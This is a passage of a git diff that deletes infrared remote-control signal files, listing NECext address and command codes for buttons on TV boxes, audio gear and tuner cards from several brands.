parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: BALANCE_LEFT_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: BALANCE_LEFT_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: BAL_R -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 13 00 00 00 -# -name: BAL_R_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 13 00 00 00 -# -name: BALANCE_RIGHT_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 13 00 00 00 -# -name: BALANCE_RIGHT_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 13 00 00 00 -# -name: VOL_DN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 15 00 00 00 -# -name: VOL_DN_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 15 00 00 00 -# -name: VOLUME_-_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 15 00 00 00 -# -name: VOLUME_-_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 15 00 00 00 -# -name: BAL/SE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 17 00 00 00 -# -name: BAL/SE_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 17 00 00 00 -# -name: BAL/SE_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 17 00 00 00 -# -name: HOURS -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 18 00 00 00 -# -name: HOURS_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 18 00 00 00 -# -name: HOURS_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 18 00 00 00 -# -name: PROC -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 19 00 00 00 -# -name: PROC_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 19 00 00 00 -# -name: PROC_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 19 00 00 00 -# -name: INVERT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: INVERT_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: INVERT_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: MUTE_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: MUTE_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: MONO -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1C 00 00 00 -# -name: MONO_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1C 00 00 00 -# -name: STEREO/MONO_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1C 00 00 00 -# -name: STEREO/MONO_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1C 00 00 00 -# -name: POWER_OFF_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 20 00 00 00 -# -name: POWER_OFF_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 20 00 00 00 -# -name: POWER_ON_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 21 00 00 00 -# -name: POWER_ON_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 21 00 00 00 -# -name: MUTE_OFF_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 22 00 00 00 -# -name: MUTE_OFF_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 22 00 00 00 -# -name: MUTE_ON_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 23 00 00 00 -# -name: MUTE_ON_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 23 00 00 00 -# -name: MONIT_OFF_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 24 00 00 00 -# -name: MONIT_OFF_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 24 00 00 00 -# -name: MONITOR_ON_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 25 00 00 00 -# -name: MONITOR_ON_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 25 00 00 00 -# -name: LO_GAIN_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 28 00 00 00 -# -name: LO_GAIN_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 28 00 00 00 -# -name: MED_GAIN_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 29 00 00 00 -# -name: MED_GAIN_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 29 00 00 00 -# -name: HI_GAIN_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2A 00 00 00 -# -name: HI_GAIN_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AudioSource/Unknown_SS-Three/6,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AudioSource/Unknown_SS-Three/6,1.ir deleted file mode 100644 index 8e1ab5790..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AudioSource/Unknown_SS-Three/6,1.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: rear+ -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 04 00 00 00 -# -name: monitor -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 05 00 00 00 -# -name: test -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 06 00 00 00 -# -name: rear- -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 08 00 00 00 -# -name: matrix -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 09 00 00 00 -# -name: phantom -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0A 00 00 00 -# -name: center+ -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 10 00 00 00 -# -name: hall -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 11 00 00 00 -# -name: 20ms -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 12 00 00 00 -# -name: center- -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 20 00 00 00 -# -name: surround -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 21 00 00 00 -# -name: 30ms -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 22 00 00 00 -# -name: vol+ -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 40 00 00 00 -# -name: power -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 41 00 00 00 -# -name: vol- -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 80 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audiola/DEC654_DVB-T/8,247.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audiola/DEC654_DVB-T/8,247.ir deleted file mode 100644 index a8ce5db71..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audiola/DEC654_DVB-T/8,247.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TVRADIO -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 00 00 00 00 -# -name: PAGEUP -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 01 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 02 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 03 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 08 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 09 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 0A 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 0B 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 0C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 0D 00 00 00 -# -name: SUB -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 0E 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 10 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 11 00 00 00 -# -name: TTX -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 12 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 14 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 15 00 00 00 -# -name: EPG -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 16 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 18 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 19 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 1A 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 1B 00 00 00 -# -name: PAGEDOWN -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 1D 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 1E 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 1F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 41 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 42 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 48 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 49 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 4A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 58 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 59 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 5A 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 5C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 5D 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 08 F7 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audiovox/Monitor/128,126.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audiovox/Monitor/128,126.ir deleted file mode 100644 index 4817c8685..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audiovox/Monitor/128,126.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MENU -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 01 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 02 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 06 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 0A 00 00 00 -# -name: DN -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 0C 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 0D 00 00 00 -# -name: PWR -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 17 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audiovox/Unknown_SIR/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audiovox/Unknown_SIR/16,-1.ir deleted file mode 100644 index 333a57c4d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audiovox/Unknown_SIR/16,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 00 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 02 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: memo -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: band -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 07 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 08 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: disp -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 13 00 00 00 -# -name: cat- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 14 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 15 00 00 00 -# -name: cat+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 16 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 18 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1A 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1C 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audiovox/Unknown_Sirius/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audiovox/Unknown_Sirius/16,-1.ir deleted file mode 100644 index 74d1f7073..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audiovox/Unknown_Sirius/16,-1.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 00 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: MEMO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 07 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 08 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 13 00 00 00 -# -name: CAT- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 14 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 15 00 00 00 -# -name: CAT+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 16 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 18 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1A 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Austar/Cable Box/32,224.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Austar/Cable Box/32,224.ir deleted file mode 100644 index 189838d8b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Austar/Cable Box/32,224.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 20 E0 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 20 E0 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 20 E0 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 20 E0 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 20 E0 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 20 E0 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 20 E0 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 20 E0 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 20 E0 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 20 E0 00 00 -command: 09 00 00 00 -# -name: BOX_OFFICE -type: parsed -protocol: NECext -address: 20 E0 00 00 -command: 14 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 20 E0 00 00 -command: 17 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 20 E0 00 00 -command: 20 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 20 E0 00 00 -command: 21 00 00 00 -# -name: AUSTAR -type: parsed -protocol: NECext -address: 20 E0 00 00 -command: 38 00 00 00 -# -name: ACTIVE -type: parsed -protocol: NECext -address: 20 E0 00 00 -command: 54 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 20 E0 00 00 -command: 58 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 20 E0 00 00 -command: 59 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 20 E0 00 00 -command: 5A 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 20 E0 00 00 -command: 5B 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 20 E0 00 00 -command: 5C 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 20 E0 00 00 -command: 6D 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 20 E0 00 00 -command: 6E 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 20 E0 00 00 -command: 70 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 20 E0 00 00 -command: 83 00 00 00 -# -name: TV_GUIDE -type: parsed -protocol: NECext -address: 20 E0 00 00 -command: CC 00 00 00 -# -name: I-MODE -type: parsed -protocol: NECext -address: 20 E0 00 00 -command: F5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AutumnWave/Unknown_Onair/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AutumnWave/Unknown_Onair/8,-1.ir deleted file mode 100644 index f8ef1a34b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AutumnWave/Unknown_Onair/8,-1.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0B 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0C 00 00 00 -# -name: Full -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 10 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 11 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 12 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 13 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 14 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 15 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 16 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 17 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 18 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 19 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1B 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1C 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1D 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 20 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 21 00 00 00 -# -name: Screen -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 22 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 23 00 00 00 -# -name: KEY_PC -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 24 00 00 00 -# -name: KEY_F1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 25 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 26 00 00 00 -# -name: KEY_F4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 27 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 28 00 00 00 -# -name: KEY_F5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 29 00 00 00 -# -name: KEY_F6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 2A 00 00 00 -# -name: KEY_F2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 2B 00 00 00 -# -name: KEY_F3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 2C 00 00 00 -# -name: KEY_F7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 2D 00 00 00 -# -name: KEY_F8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 2E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avermedia/Unknown_AVerTV5/0,237.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avermedia/Unknown_AVerTV5/0,237.ir deleted file mode 100644 index 2478e6ed8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avermedia/Unknown_AVerTV5/0,237.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 0A 00 00 00 -# -name: mts-stero -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 0B 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 0C 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 0F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 10 00 00 00 -# -name: av-pc -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 12 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 13 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 14 00 00 00 -# -name: picture -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 15 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 16 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 18 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 1B 00 00 00 -# -name: ch-rtn -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 1C 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 1F 00 00 00 -# -name: pip-ch -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 41 00 00 00 -# -name: pip-pos -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 42 00 00 00 -# -name: pip -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 43 00 00 00 -# -name: bgm-res -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 44 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avermedia/Unknown_Avermedia/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avermedia/Unknown_Avermedia/64,-1.ir deleted file mode 100644 index 9a2ab6933..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avermedia/Unknown_Avermedia/64,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: LEFTARROW -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 04 00 00 00 -# -name: 